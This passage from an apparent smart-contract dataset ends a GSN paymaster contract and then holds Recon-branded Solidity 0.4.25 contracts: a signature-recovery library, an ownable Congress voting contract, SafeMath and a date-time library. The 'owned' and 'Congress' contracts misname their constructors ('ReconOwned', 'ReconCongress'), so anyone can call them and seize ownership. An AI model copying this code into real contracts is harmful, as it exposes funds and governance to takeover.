if (useMethodWhitelist) {
address target = relayRequest.request.to;
bytes4 method = GsnUtils.getMethodSig(relayRequest.request.data);
require(methodWhitelist[target][method], "method not whitelisted");
}
return ("", useRejectOnRecipientRevert);
}
function _preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
internal
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(signature, maxPossibleGas);
require(approvalData.length == 0, "approvalData: invalid length");
require(relayRequest.relayData.paymasterData.length == 0, "paymasterData: invalid length");
if (useSenderWhitelist) {
address sender = relayRequest.request.from;
require(senderWhitelist[sender], "sender not whitelisted");
}
if (useTargetWhitelist) {
address target = relayRequest.request.to;
require(targetWhitelist[target], "target not whitelisted");
}
if (useMethodWhitelist) {
address target = relayRequest.request.to;
bytes4 method = GsnUtils.getMethodSig(relayRequest.request.data);
require(methodWhitelist[target][method], "method not whitelisted");
}
return ("", useRejectOnRecipientRevert);
}
function _postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
)
internal
override
virtual {
(context, success, gasUseWithoutPost, relayData);
}
function a() public pure returns (bytes4) {
return type(IRelayHub).interfaceId;
}
}
| 5,553,920
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./partial_match/4/0x8C6b30b20Dc90102911dBa89d73724569794df97/sources/LiquidityMine.sol
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set this to zero to start
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earnedRewards = 0;
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] |
pragma solidity ^ 0.4.25;
// -----------------------------------------------------------------------------------------------------------------
//
// Recon® Token Teleportation Service v1.10
//
// of BlockReconChain®
// for ReconBank®
//
// ERC Token Standard #20 Interface
//
// -----------------------------------------------------------------------------------------------------------------
//.
//"
//. ::::::.. .,:::::: .,-::::: ... :::. :::
//. ;;;;``;;;; ;;;;'''' ,;;;'````' .;;;;;;;.`;;;;, `;;;
//. [[[,/[[[' [[cccc [[[ ,[[ \[[,[[[[[. '[[
//. $$$$$$c $$"""" $$$ $$$, $$$$$$ "Y$c$$
//. 888b "88bo,888oo,__`88bo,__,o,"888,_ _,88P888 Y88
//. MMMM "W" """"YUMMM "YUMMMMMP" "YMMMMMP" MMM YM
//.
//.
//" -----------------------------------------------------------------------------------------------------------------
// ¸.•*´¨)
// ¸.•´ ¸.•´¸.•*´¨) ¸.•*¨)
// ¸.•*´ (¸.•´ (¸.•` ¤ ReconBank.eth / ReconBank.com*´¨)
// ¸.•´¸.•*´¨)
// (¸.•´ ¸.•`
// ¸.•´•.¸
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
// -----------------------------------------------------------------------------------------------------------------
//
// Common ownership of :
// ____ _ _ _____ _____ _ _
// | _ \| | | | | __ \ / ____| | (_)
// | |_) | | ___ ___| | _| |__) |___ ___ ___ _ __ | | | |__ __ _ _ _ __
// | _ <| |/ _ \ / __| |/ / _ // _ \/ __/ _ \| '_ \| | | '_ \ / _` | | '_ \
// | |_) | | (_) | (__| <| | \ \ __/ (_| (_) | | | | |____| | | | (_| | | | | |
// |____/|_|\___/ \___|_|\_\_| \_\___|\___\___/|_| |_|\_____|_| |_|\__,_|_|_| |_|®
//'
// -----------------------------------------------------------------------------------------------------------------
//
// This contract is an order from :
//'
// ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ██╗██████╗ █████╗ ███╗ ██╗██╗ ██╗ ██████╗ ██████╗ ███╗ ███╗®
// ██╔══██╗██╔════╝██╔════╝██╔═══██╗████╗ ██║██╔══██╗██╔══██╗████╗ ██║██║ ██╔╝ ██╔════╝██╔═══██╗████╗ ████║
// ██████╔╝█████╗ ██║ ██║ ██║██╔██╗ ██║██████╔╝███████║██╔██╗ ██║█████╔╝ ██║ ██║ ██║██╔████╔██║
// ██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔══██╗██╔══██║██║╚██╗██║██╔═██╗ ██║ ██║ ██║██║╚██╔╝██║
// ██║ ██║███████╗╚██████╗╚██████╔╝██║ ╚████║██████╔╝██║ ██║██║ ╚████║██║ ██╗██╗╚██████╗╚██████╔╝██║ ╚═╝ ██║
// ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝'
//
// -----------------------------------------------------------------------------------------------------------------
//
//
// Copyright MIT :
// GNU Lesser General Public License 3.0
// https://www.gnu.org/licenses/lgpl-3.0.en.html
//
// Permission is hereby granted, free of charge, to
// any person obtaining a copy of this software and
// associated documentation files ReconCoin® Token
// Teleportation Service, to deal in the Software without
// restriction, including without limitation the rights to
// use, copy, modify, merge, publish, distribute,
// sublicense, and/or sell copies of the Software, and
// to permit persons to whom the Software is furnished
// to do so, subject to the following conditions:
// The above copyright notice and this permission
// notice shall be included in all copies or substantial
// portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT
// WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
// INCLUDING BUT NOT LIMITED TO THE
// WARRANTIES OF MERCHANTABILITY, FITNESS FOR
// A PARTICULAR PURPOSE AND NONINFRINGEMENT.
// IN NO EVENT SHALL THE AUTHORS OR
// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN
// ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN
// CONNECTION WITH THE SOFTWARE OR THE USE
// OR OTHER DEALINGS IN THE SOFTWARE.
//
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
// -----------------------------------------------------------------------------------------------------------------
// The new assembly support in Solidity makes writing helpers easy.
// Many have complained how complex it is to use `ecrecover`, especially in conjunction
// with the `eth_sign` RPC call. Here is a helper, which makes that a matter of a single call.
//
// Sample input parameters:
// (with v=0)
// "0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad",
// "0xaca7da997ad177f040240cdccf6905b71ab16b74434388c3a72f34fd25d6439346b2bac274ff29b48b3ea6e2d04c1336eaceafda3c53ab483fc3ff12fac3ebf200",
// "0x0e5cb767cce09a7f3ca594df118aa519be5e2b5a"
//
// (with v=1)
// "0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad",
// "0xdebaaa0cddb321b2dcaaf846d39605de7b97e77ba6106587855b9106cb10421561a22d94fa8b8a687ff9c911c844d1c016d1a685a9166858f9c7c1bc85128aca01",
// "0x8743523d96a1b2cbe0c6909653a56da18ed484af"
//
// (The hash is a hash of "hello world".)
//
// Written by Alex Beregszaszi (@axic), use it under the terms of the MIT license.
// -----------------------------------------------------------------------------------------------------------------
library ReconVerify {
// Duplicate Soliditys ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but dont update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly cant access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) public returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function verify(bytes32 hash, bytes sig, address signer) public returns (bool) {
bool ret;
address addr;
(ret, addr) = ecrecovery(hash, sig);
return ret == true && addr == signer;
}
function recover(bytes32 hash, bytes sig) internal returns (address addr) {
bool ret;
(ret, addr) = ecrecovery(hash, sig);
}
}
contract ReconVerifyTest {
function test_v0() public returns (bool) {
bytes32 hash = 0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad;
bytes memory sig = "\xac\xa7\xda\x99\x7a\xd1\x77\xf0\x40\x24\x0c\xdc\xcf\x69\x05\xb7\x1a\xb1\x6b\x74\x43\x43\x88\xc3\xa7\x2f\x34\xfd\x25\xd6\x43\x93\x46\xb2\xba\xc2\x74\xff\x29\xb4\x8b\x3e\xa6\xe2\xd0\x4c\x13\x36\xea\xce\xaf\xda\x3c\x53\xab\x48\x3f\xc3\xff\x12\xfa\xc3\xeb\xf2\x00";
return ReconVerify.verify(hash, sig, 0x0A5f85C3d41892C934ae82BDbF17027A20717088);
}
function test_v1() public returns (bool) {
bytes32 hash = 0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad;
bytes memory sig = "\xde\xba\xaa\x0c\xdd\xb3\x21\xb2\xdc\xaa\xf8\x46\xd3\x96\x05\xde\x7b\x97\xe7\x7b\xa6\x10\x65\x87\x85\x5b\x91\x06\xcb\x10\x42\x15\x61\xa2\x2d\x94\xfa\x8b\x8a\x68\x7f\xf9\xc9\x11\xc8\x44\xd1\xc0\x16\xd1\xa6\x85\xa9\x16\x68\x58\xf9\xc7\xc1\xbc\x85\x12\x8a\xca\x01";
return ReconVerify.verify(hash, sig, 0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060);
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
contract owned {
address public owner;
function ReconOwned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract tokenRecipient {
event receivedEther(address sender, uint amount);
event receivedTokens(address _from, uint256 _value, address _token, bytes _extraData);
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public {
Token t = Token(_token);
require(t.transferFrom(_from, this, _value));
emit receivedTokens(_from, _value, _token, _extraData);
}
function () payable public {
emit receivedEther(msg.sender, msg.value);
}
}
interface Token {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
}
contract Congress is owned, tokenRecipient {
// Contract Variables and events
uint public minimumQuorum;
uint public debatingPeriodInMinutes;
int public majorityMargin;
Proposal[] public proposals;
uint public numProposals;
mapping (address => uint) public memberId;
Member[] public members;
event ProposalAdded(uint proposalID, address recipient, uint amount, string description);
event Voted(uint proposalID, bool position, address voter, string justification);
event ProposalTallied(uint proposalID, int result, uint quorum, bool active);
event MembershipChanged(address member, bool isMember);
event ChangeOfRules(uint newMinimumQuorum, uint newDebatingPeriodInMinutes, int newMajorityMargin);
struct Proposal {
address recipient;
uint amount;
string description;
uint minExecutionDate;
bool executed;
bool proposalPassed;
uint numberOfVotes;
int currentResult;
bytes32 proposalHash;
Vote[] votes;
mapping (address => bool) voted;
}
struct Member {
address member;
string name;
uint memberSince;
}
struct Vote {
bool inSupport;
address voter;
string justification;
}
// Modifier that allows only shareholders to vote and create new proposals
modifier onlyMembers {
require(memberId[msg.sender] != 0);
_;
}
/**
* Constructor function
*/
function ReconCongress (
uint minimumQuorumForProposals,
uint minutesForDebate,
int marginOfVotesForMajority
) payable public {
changeVotingRules(minimumQuorumForProposals, minutesForDebate, marginOfVotesForMajority);
// It’s necessary to add an empty first member
addMember(0, "");
// and lets add the founder, to save a step later
addMember(owner, 'founder');
}
/**
* Add member
*
* Make `targetMember` a member named `memberName`
*
* @param targetMember ethereum address to be added
* @param memberName public name for that member
*/
function addMember(address targetMember, string memberName) onlyOwner public {
uint id = memberId[targetMember];
if (id == 0) {
memberId[targetMember] = members.length;
id = members.length++;
}
members[id] = Member({member: targetMember, memberSince: now, name: memberName});
emit MembershipChanged(targetMember, true);
}
/**
* Remove member
*
* @notice Remove membership from `targetMember`
*
* @param targetMember ethereum address to be removed
*/
function removeMember(address targetMember) onlyOwner public {
require(memberId[targetMember] != 0);
for (uint i = memberId[targetMember]; i<members.length-1; i++){
members[i] = members[i+1];
}
delete members[members.length-1];
members.length--;
}
/**
* Change voting rules
*
* Make so that proposals need to be discussed for at least `minutesForDebate/60` hours,
* have at least `minimumQuorumForProposals` votes, and have 50% + `marginOfVotesForMajority` votes to be executed
*
* @param minimumQuorumForProposals how many members must vote on a proposal for it to be executed
* @param minutesForDebate the minimum amount of delay between when a proposal is made and when it can be executed
* @param marginOfVotesForMajority the proposal needs to have 50% plus this number
*/
function changeVotingRules(
uint minimumQuorumForProposals,
uint minutesForDebate,
int marginOfVotesForMajority
) onlyOwner public {
minimumQuorum = minimumQuorumForProposals;
debatingPeriodInMinutes = minutesForDebate;
majorityMargin = marginOfVotesForMajority;
emit ChangeOfRules(minimumQuorum, debatingPeriodInMinutes, majorityMargin);
}
/**
* Add Proposal
*
* Propose to send `weiAmount / 1e18` ether to `beneficiary` for `jobDescription`. `transactionBytecode ? Contains : Does not contain` code.
*
* @param beneficiary who to send the ether to
* @param weiAmount amount of ether to send, in wei
* @param jobDescription Description of job
* @param transactionBytecode bytecode of transaction
*/
function newProposal(
address beneficiary,
uint weiAmount,
string jobDescription,
bytes transactionBytecode
)
onlyMembers public
returns (uint proposalID)
{
proposalID = proposals.length++;
Proposal storage p = proposals[proposalID];
p.recipient = beneficiary;
p.amount = weiAmount;
p.description = jobDescription;
p.proposalHash = keccak256(abi.encodePacked(beneficiary, weiAmount, transactionBytecode));
p.minExecutionDate = now + debatingPeriodInMinutes * 1 minutes;
p.executed = false;
p.proposalPassed = false;
p.numberOfVotes = 0;
emit ProposalAdded(proposalID, beneficiary, weiAmount, jobDescription);
numProposals = proposalID+1;
return proposalID;
}
/**
* Add proposal in Ether
*
* Propose to send `etherAmount` ether to `beneficiary` for `jobDescription`. `transactionBytecode ? Contains : Does not contain` code.
* This is a convenience function to use if the amount to be given is in round number of ether units.
*
* @param beneficiary who to send the ether to
* @param etherAmount amount of ether to send
* @param jobDescription Description of job
* @param transactionBytecode bytecode of transaction
*/
function newProposalInEther(
address beneficiary,
uint etherAmount,
string jobDescription,
bytes transactionBytecode
)
onlyMembers public
returns (uint proposalID)
{
return newProposal(beneficiary, etherAmount * 1 ether, jobDescription, transactionBytecode);
}
/**
* Check if a proposal code matches
*
* @param proposalNumber ID number of the proposal to query
* @param beneficiary who to send the ether to
* @param weiAmount amount of ether to send
* @param transactionBytecode bytecode of transaction
*/
function checkProposalCode(
uint proposalNumber,
address beneficiary,
uint weiAmount,
bytes transactionBytecode
)
constant public
returns (bool codeChecksOut)
{
Proposal storage p = proposals[proposalNumber];
return p.proposalHash == keccak256(abi.encodePacked(beneficiary, weiAmount, transactionBytecode));
}
/**
* Log a vote for a proposal
*
* Vote `supportsProposal? in support of : against` proposal #`proposalNumber`
*
* @param proposalNumber number of proposal
* @param supportsProposal either in favor or against it
* @param justificationText optional justification text
*/
function vote(
uint proposalNumber,
bool supportsProposal,
string justificationText
)
onlyMembers public
returns (uint voteID)
{
Proposal storage p = proposals[proposalNumber]; // Get the proposal
require(!p.voted[msg.sender]); // If has already voted, cancel
p.voted[msg.sender] = true; // Set this voter as having voted
p.numberOfVotes++; // Increase the number of votes
if (supportsProposal) { // If they support the proposal
p.currentResult++; // Increase score
} else { // If they dont
p.currentResult--; // Decrease the score
}
// Create a log of this event
emit Voted(proposalNumber, supportsProposal, msg.sender, justificationText);
return p.numberOfVotes;
}
/**
* Finish vote
*
* Count the votes proposal #`proposalNumber` and execute it if approved
*
* @param proposalNumber proposal number
* @param transactionBytecode optional: if the transaction contained a bytecode, you need to send it
*/
function executeProposal(uint proposalNumber, bytes transactionBytecode) public {
Proposal storage p = proposals[proposalNumber];
require(now > p.minExecutionDate // If it is past the voting deadline
&& !p.executed // and it has not already been executed
&& p.proposalHash == keccak256(abi.encodePacked(p.recipient, p.amount, transactionBytecode)) // and the supplied code matches the proposal
&& p.numberOfVotes >= minimumQuorum); // and a minimum quorum has been reached...
// ...then execute result
if (p.currentResult > majorityMargin) {
// Proposal passed; execute the transaction
p.executed = true; // Avoid recursive calling
require(p.recipient.call.value(p.amount)(transactionBytecode));
p.proposalPassed = true;
} else {
// Proposal failed
p.proposalPassed = false;
}
// Fire Events
emit ProposalTallied(proposalNumber, p.currentResult, p.numberOfVotes, p.proposalPassed);
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
pragma solidity ^ 0.4.25;
// ----------------------------------------------------------------------------
// Recon DateTime Library v1.00
//
// A energy-efficient Solidity date and time library
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// GNU Lesser General Public License 3.0
// https://www.gnu.org/licenses/lgpl-3.0.en.html
// ----------------------------------------------------------------------------
library ReconDateTimeLibrary {
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
uint constant SECONDS_PER_HOUR = 60 * 60;
uint constant SECONDS_PER_MINUTE = 60;
int constant OFFSET19700101 = 2440588;
uint constant DOW_MON = 1;
uint constant DOW_TUE = 2;
uint constant DOW_WED = 3;
uint constant DOW_THU = 4;
uint constant DOW_FRI = 5;
uint constant DOW_SAT = 6;
uint constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {
int _year = int(year);
int _month = int(month);
int _day = int(day);
int __days = _day
- 32075
+ 1461 * (_year + 4800 + (_month - 14) / 12) / 4
+ 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12
- 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4
- OFFSET19700101;
_days = uint(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {
int __days = int(_days);
int L = __days + 68569 + OFFSET19700101;
int N = 4 * L / 146097;
L = L - (146097 * N + 3) / 4;
int _year = 4000 * (L + 1) / 1461001;
L = L - 1461 * _year / 4 + 31;
int _month = 80 * L / 2447;
int _day = L - 2447 * _month / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint(_year);
month = uint(_month);
day = uint(_day);
}
function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
function isLeapYear(uint timestamp) internal pure returns (bool leapYear) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) {
uint _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = (_days + 3) % 7 + 1;
}
function getYear(uint timestamp) internal pure returns (uint year) {
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint timestamp) internal pure returns (uint month) {
uint year;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint timestamp) internal pure returns (uint day) {
uint year;
uint month;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint timestamp) internal pure returns (uint hour) {
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint timestamp) internal pure returns (uint minute) {
uint secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint timestamp) internal pure returns (uint second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = (month - 1) % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = yearMonth % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
pragma solidity ^ 0.4.25;
// ----------------------------------------------------------------------------
// Recon DateTime Library v1.00 - Contract Instance
//
// A energy-efficient Solidity date and time library
//
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// GNU Lesser General Public License 3.0
// https://www.gnu.org/licenses/lgpl-3.0.en.html
// ----------------------------------------------------------------------------
contract ReconDateTimeContract {
uint public constant SECONDS_PER_DAY = 24 * 60 * 60;
uint public constant SECONDS_PER_HOUR = 60 * 60;
uint public constant SECONDS_PER_MINUTE = 60;
int public constant OFFSET19700101 = 2440588;
uint public constant DOW_MON = 1;
uint public constant DOW_TUE = 2;
